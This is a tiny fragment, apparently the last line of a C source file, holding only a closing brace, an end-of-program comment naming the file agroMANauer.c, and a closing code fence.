}// end program agroMANauer.c
```